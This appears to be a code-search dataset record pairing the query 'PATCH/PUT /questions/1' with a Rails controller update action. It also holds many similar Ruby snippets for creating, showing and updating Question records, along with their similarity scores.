"def create\n\t\t@question = Question.create(params[:question])\n\t\[email protected] = current_user\n\t\trespond_to do |format|\n\t\t\tif @question.save\n\t\t\t\tformat.html { redirect_to @question, notice: 'Question was successfully created.' }\n\t\t\t\tformat.json { render json: @question, status: :created, location: @question }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @question.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def questions\n self.class.get(\"/2.2/questions\", @options)\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def new\n #@question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def create\n filtered_params = filter_params(question_params)\n @question = @form.questions.new(filtered_params)\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to admin_form_questions_path, notice: 'Вопрос успешно создан' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @questions = Question.all\n @question = Question.new\n @answers = @question.answers.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n format.js\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @test_question = TestQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @test_question }\n end\n end",
"def create\t\n\tquestion_param = question_params.merge(:words => in_words(question_params[\"answer\"].to_i))\n @question = Question.new(question_param)\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n\t#=end\n end",
"def new\n @question = Question.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @question }\n end\n end",
"def create\n @question = Question.new(params[:question])\n\n respond_to do |format|\n if @question.save(params[:question])\n format.html { redirect_to new_question_url, notice: 'questions was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quiz = Quiz.new(quiz_params)\n questions_arr.each do |i|\n question = Question.new(question_params(i))\n choices_arr(i).each do |j|\n choice = Choice.new(choice_params(j))\n choice.save\n question.choices << choice\n end\n @quiz.questions << question\n end\n\n if @quiz.save\n User.find(params[:user_id]).quizzes << @quiz\n render json: @quiz, status: :created, location: @quiz\n else\n render json: @quiz.errors, status: :unprocessable_entity\n end\n end",
"def handle_post(body)\n make_response(200, validate_questions(body))\nend",
"def create\n #@question = Question.new(params[:question])\n #@question.node = current_node\n @question.user_id = current_user.id\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: t('alert.question.create_success', default: 'Question was successfully created.') }\n format.json { render json: @question, status: :created, location: @question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @question = Question.new\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @question }\n end\n end",
"def create\n workout = Workout.find params[:workout_id]\n result = Question.create(workout, { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n @question = result[:question]\n\n respond_to do |format|\n unless @question.persisted?\n format.json { render :json => @question.errors.full_messages, :status => :unprocessable_entity }\n else\n format.json { render :json => @question.as_json({:include => :answers}) }\n end\n \n end\n\n end",
"def question_params\n params.require(:question).permit(:title, :body, :answer)\n end",
"def question(data)\n xml = xml_root(\"questions\")\n\n arrayed(data).each do |name|\n xml.root << (XML::Node.new(\"question\") << name)\n end\n\n send_and_process('questions/add', 'questions/question', xml)\n end",
"def create\n @quiz = current_user.quizzes.build(quiz_params)\n\n @quiz.questions.each do |q|\n if q.question_type == \"free_answer\"\n q.answers = []\n end\n end\n\n puts @quiz.questions\n\n respond_to do |format|\n if @quiz.save\n format.html { redirect_to current_user, notice: 'Quiz was successfully created.' }\n format.json { render :show, status: :created, location: @quiz }\n else\n format.html { render :new }\n format.json { render json: @quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def question_params\n params.require(:question).permit(:question)\n end",
"def question_params\n params.require(:question).permit(:question, :answer)\n end",
"def question_params\n params.require(:question).permit(:question, :answer)\n end",
"def create\n @question = Question.new(question_params)\n @question.user = current_user\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render json: @question, status: :created, location: @question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def question_params\n params.require(:question).permit(:title, :answer)\n end",
"def create\n quiz = Quiz.new(set_quiz_params)\n\n respond_to do |format|\n format.json do\n \n if quiz.valid?\n if quiz.save!\n render json: success_api({ question: quiz.question }, \"You fill correct answer!\")\n else\n render json: failed_api({ question: quiz.question }, \"You fill incorrect answer!\")\n end\n else\n render json: failed_api({}, quiz.errors.full_messages.first)\n end\n end\n end\n end",
"def new\n @my_question = MyQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @my_question }\n end\n end",
"def new\n @question = Question.new\n # @question.save\n render :json => {:question_id => @question.id}.to_json\n # respond_to do |format|\n # format.html # new.html.erb\n # format.xml { render :xml => @question }\n # end\n end",
"def create\n @form = Form.new(form_params)\n return unless can_form_be_created?(@form)\n @form.created_by = current_user\n @form.form_questions = create_form_questions\n if @form.save\n render :show, status: :created, location: @form\n else\n render json: @form.errors, status: :unprocessable_entity\n end\n end",
"def index\n render_json(current_user.created_questions)\n end",
"def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @questions }\n end\n end",
"def create\n @question = Question.new(question_params)\n @question.user_id = current_user.id\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @question.save\n @question_link = QuizQuestion.create!(:qtype => params[:qtype], :qid => @question.id, :quizid => params[:quizid], :points => params[:points])\n @question_link.save\n @question.update(:questionid => @question_link.id)\n @quiz = Quiz.find_by_id(params[:quizid])\n format.html { redirect_to admin_quiz_path(@quiz), notice: 'Quiz multiple choice question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize_action_for Question\n @question = current_user.questions.new(question_params)\n @question.user = current_user\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def question_params\n # params.require(:tst).permit(:name, :description, :status, :contributors)\n params.require(:question).permit(:name, :description, :status, :hint, :image_url, :explanation, :kind, :correct_response, :pause_at)\n end",
"def ask_questions\n if request.post?\n @album = Album.find( params[:answers][:album_id])\n @user = @album.user\n @question = Question.find params[:answers][:question_id]\n Answer.create(question: @question,\n content: params[:answers][:content],\n guest: current_guest)\n logger.info \"GUEST: #{current_guest}\"\n @questions = params[:answers][:questions].gsub('[','').\n gsub(']','').\n split(',').\n map{|id| id.to_i}\n if @questions.any?\n @album_id = @album.id\n @question = Question.find(@questions.first)\n @questions = @questions[1..-1]\n respond_to do |format|\n format.js\n format.html\n end\n else\n #reset_session\n render 'guests/thank_you'\n end\n end\n end",
"def create\n @cards_question = Cards::Question.new(params[:cards_question])\n\n respond_to do |format|\n if @cards_question.save\n format.html { redirect_to @cards_question, notice: 'Question was successfully created.' }\n format.json { render json: @cards_question, status: :created, location: @cards_question }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cards_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def delete_question\n question_params = params.permit(:id, :form_id, :question_type_id)\n\n render json: Question.delete_question(question_params)\n end",
"def get_question_list\n json= RestClient.get(\"http://localhost:3000/questions\")\n JSON.parse(json)\n end",
"def create\n @question = Question.new question_params.merge user_id: current_user.id\n @question.build_post embedded_post_params\n\n respond_to do |format|\n if @question.save\n format.html { redirect_to @question, notice: 'Question was successfully created.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n\t\t@question = Question.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @question }\n\t\tend\n\tend",
"def create\n @question = Question.find(params[:question_id])\n @answer = @question.answers.new(answer_params)\n\n respond_to do |format|\n if @answer.save\n format.html { redirect_to question_answer_url(@question, @answer), notice: \"Answer was successfully created.\" }\n format.json { render :show, status: :created, location: @answer }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @answer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_mod\n if params[:title] != nil && params[:content] != nil && params[:subId] != nil && params[:userId] != nil && params[:groupId] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n @question.subId = params[:subId].to_i\n @question.userId = params[:userId].to_i\n @question.groupId = params[:groupId].to_i\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/createQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully created\"\n redirect_to questions_path\n\n end\n end",
"def question_params\n params.require(:question).permit(:title, :body, :answer, :tag_list, :slug)\n end",
"def create\n @question = Question.new(question_params)\n @question.zavrseno = \"N\"\n @question.user = @current_user\n @question.uposlenik = User.find(params[:uposlenik_id])\n respond_to do |format|\n if @question.save\n format.json { render json: @question, status: :created, location: api_question_url(@question) }\n else\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @questions = Question.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @questions }\n end\n end",
"def create\n @mongo_question = MongoQuestion.new(mongo_question_params)\n @mongo_question.topics = params['mongo_question']['topics']\n respond_to do |format|\n if @mongo_question.save\n format.html { redirect_to @mongo_question, notice: 'Mongo question was successfully created.' }\n format.json { render :show, status: :created, location: @mongo_question }\n else\n format.html { render :new }\n format.json { render json: @mongo_question.errors, status: :unprocessable_entity }\n end\n end\n\n Question.create mongo_id: @mongo_question._id, registrant_id: current_registrant_id\n end",
"def create\n #before_action :set_tag\n #ログインしているユーザーが質問を作る\n @question = current_user.questions.build(question_params)\n # respond_to: リクエストされるフォーマットがHTML形式の場合とJSON形式の場合で処理を分けることができる\n respond_to do |format|\n if @question.save\n # TODO: 経験値機能の処理\n # current_user.get_exp(10)\n # current_user.check_level_up\n format.html { redirect_to @question, notice: \"質問を投稿しました\" }\n format.json { render :show, status: :created, location: @question }\n else\n #savaできなかった場合\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def question_params\n params.require(:question).permit()\n end",
"def new\n @question = current_user.questions.new\n\t2.times do\n\t @question.choices.build\n\tend\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @question }\n end\n end",
"def create\n @question = Question.new(params[:question])\n @question.user_id = current_user.id\n render :json => @question.id if @question.save\n # respond_to do |format|\n # if @question.save \n # format.html { redirect_to(@question, :notice => 'Question was successfully created.') }\n # format.xml { render :xml => @question, :status => :created, :location => @question }\n # else \n # format.html { render :action => \"new\" }\n # format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n # end\n # end\n end",
"def create\n\t@question = Question.new(params[:question])\n\n\n\trespond_to do |format|\n\t if @question.save\n\t\tformat.html { redirect_to(@question, :notice => 'Question was successfully created.') }\n\t\tformat.xml { render :xml => @question, :status => :created, :location => @question }\n\t else\n\t\tformat.html { render :action => \"new\" }\n\t\tformat.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n\t end\n\tend\n end",
"def answered\n @the_question = Question.find(params[:id])\n @the_question.answered = true\n @the_question.save\n render json: [{question: @the_question}]\n end",
"def question_params\n params.require(:question).permit(:title, :quest, :answer,:category)\n end",
"def index\n render json: @test_module.test_questions, status: :ok\n end",
"def question_params\n params.require(:question).permit(:title, :content)\n end",
"def question_params\n params.require(:question).permit(:title, :content)\n end",
"def question_params\n params.require(:question).permit(:title, :content)\n end",
"def question_params\n params.require(:question).permit(:title, :content)\n end",
"def create\n @question = Question.new(question_params)\n\n respond_to do |format|\n if @question.save\n QuestionMailer.trial_email(@question).deliver_now\n format.html { redirect_to root_path, notice: 'Your submission was successfully submitted.' }\n format.json { render :show, status: :created, location: @question }\n else\n format.html { render :new }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.7366109",
"0.72979563",
"0.7059195",
"0.7000753",
"0.6956294",
"0.68727475",
"0.67733675",
"0.6729471",
"0.67116046",
"0.6706642",
"0.6705714",
"0.6689426",
"0.6647686",
"0.6635359",
"0.662669",
"0.662669",
"0.662669",
"0.662669",
"0.662669",
"0.662669",
"0.662669",
"0.662669",
"0.662669",
"0.662669",
"0.6625894",
"0.662092",
"0.6601877",
"0.658238",
"0.6558875",
"0.6548659",
"0.6548659",
"0.65406907",
"0.65115905",
"0.646109",
"0.6445682",
"0.64166427",
"0.6414391",
"0.6404002",
"0.639564",
"0.63947415",
"0.6387393",
"0.6387393",
"0.6387393",
"0.6387393",
"0.6387393",
"0.6386238",
"0.63760614",
"0.63557696",
"0.6340648",
"0.63274425",
"0.6314545",
"0.6312669",
"0.6299439",
"0.62768507",
"0.62720907",
"0.6270051",
"0.6265692",
"0.62607133",
"0.62591845",
"0.62558407",
"0.62556267",
"0.6251766",
"0.6247266",
"0.6247266",
"0.62400955",
"0.6235286",
"0.62129605",
"0.6205474",
"0.6200678",
"0.61998135",
"0.61994785",
"0.6198937",
"0.61715096",
"0.6167117",
"0.61634505",
"0.61620706",
"0.6159416",
"0.6155171",
"0.615452",
"0.6149144",
"0.61482686",
"0.61474997",
"0.614291",
"0.61420697",
"0.61375695",
"0.6135676",
"0.61338896",
"0.6133791",
"0.6133205",
"0.6128408",
"0.61057246",
"0.6105505",
"0.6104671",
"0.6096927",
"0.6096527",
"0.6096222",
"0.6083402",
"0.6083402",
"0.6083402",
"0.6083402",
"0.608301"
] | 0.0 | -1 |
PATCH/PUT /questions/1 PATCH/PUT /questions/1.json | def update
respond_to do |format|
if @question.update(question_params)
format.html { redirect_to @question, notice: 'DNS was successfully updated.' }
format.json { render :show, status: :ok, location: @question }
else
format.html { render :edit }
format.json { render json: @question.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to api_v1_question_path(@question), notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n question = Question.find(params[:id_question])\n if question.update(params_question)\n render json: question, status: 200\n else\n render json: question.errors, status: 422\n end\n\n end",
"def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.json { render :json => 'Question updated OK' }\n format.xml { head :ok }\n else\n format.json { render :json => @question.errors }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to new_question_path, notice: 'questions was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_question.update(api_v1_question_params)\n format.html { redirect_to @api_v1_question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_question }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.update(params[:id], { \n :body => params[:body], \n :answer_type => params[:answer_type] }, \n params[:answers].values\n )\n\n respond_to do |format|\n format.json { render :json => @question.as_json({:include => :answers}) }\n\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to @question, :notice => 'Question was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render :action => \"edit\" }\n # format.json { render :json => @question.errors, :status => :unprocessable_entity }\n # end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @v1_question.update(v1_question_params)\n render json: @v1_question, status: :ok\n else\n render json: get_errors, status: :unprocessable_entity\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end",
"def update\n #@question = Question.find(params[:id])\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question, notice: t('alert.question.update_success', default: 'Question was successfully updated.') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n @question.update_attributes(params[:question])\n render :json => @question.id if @question.save\n # respond_to do |format|\n # if @question.update_attributes(params[:question])\n # format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n # format.xml { head :ok }\n # else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n # end\n # end\n end",
"def update\n question = Question.find_by!(id: params[:id])\n if question\n question.name = params[:name]\n question.description = params[:description]\n question.user_id = params[:user_id]\n question.category_id = params[:category_id]\n question.zavrseno = params[:zavrseno]\n question.uposlenik_id = params[:uposlenik_id]\n question.save\n render json: question, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end",
"def update\n @test_question = TestQuestion.find(params[:id])\n\n respond_to do |format|\n if @test_question.update_attributes(params[:test_question])\n format.html { redirect_to @test_question, :notice => 'Test question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @test_question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to @question.course, notice: 'Question was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @question = Question.find(params[:id])\n\n respond_to do |format|\n if @question.update_attributes(params[:question])\n format.html { redirect_to(@question, :notice => 'Question was successfully updated.') }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @question.errors, :status => :unprocessable_entity }\n\t\t\t\tformat.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to edit_question_path(@question), notice: 'Question was successfully updated.' }\n format.json\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @my_question = MyQuestion.find(params[:id])\n\n respond_to do |format|\n if @my_question.update_attributes(params[:my_question])\n format.html { redirect_to @my_question, notice: 'My question was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, :notice =>'Question was successfully updated.' }\n format.json { render :show, :status => :ok, :location => @question }\n else\n format.html { render :edit }\n format.json { render :json => @question.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @question.update(question_params)\n format.html { redirect_to @question, notice: 'Question was successfully updated.' }\n format.json { render :show, status: :ok, location: @question }\n else\n format.html { render :edit }\n format.json { render json: @question.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_question\n\t\t\tquizzes = current_instructor.quizzes\n\t\t\t@found = 0\n\t\t\tquizzes.each do |quiz|\n\t\t\t\tif(quiz.questions.exists?(:id => params[:question_id]))\n\t\t\t\t\t@found = @found + 1\n\t\t\t\tend \n\t\t\tend\n\t\t\tif (@found > 0)\n\t\t\t\tquestion = Question.find(params[:question_id])\n\t\t\t\tif (question.update(question_params))\n\t\t\t\t\trender json: { success: true, data: { :question => question }, info:{} }, status: 200\n\t\t\t\telse\n\t\t\t\t\trender json: { error: question.errors }, status: 422 \n\t\t\t\tend\t\n\t\t\telse\n\t\t\t\trender json: { error:\"Question is not found\" }, status: 422\n\t\t\tend\n\t\tend",
"def update\n\t\t@question = Question.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @question.update_attributes(params[:question])\n\t\t\t\tformat.html { redirect_to @question, notice: 'Question was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @question.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
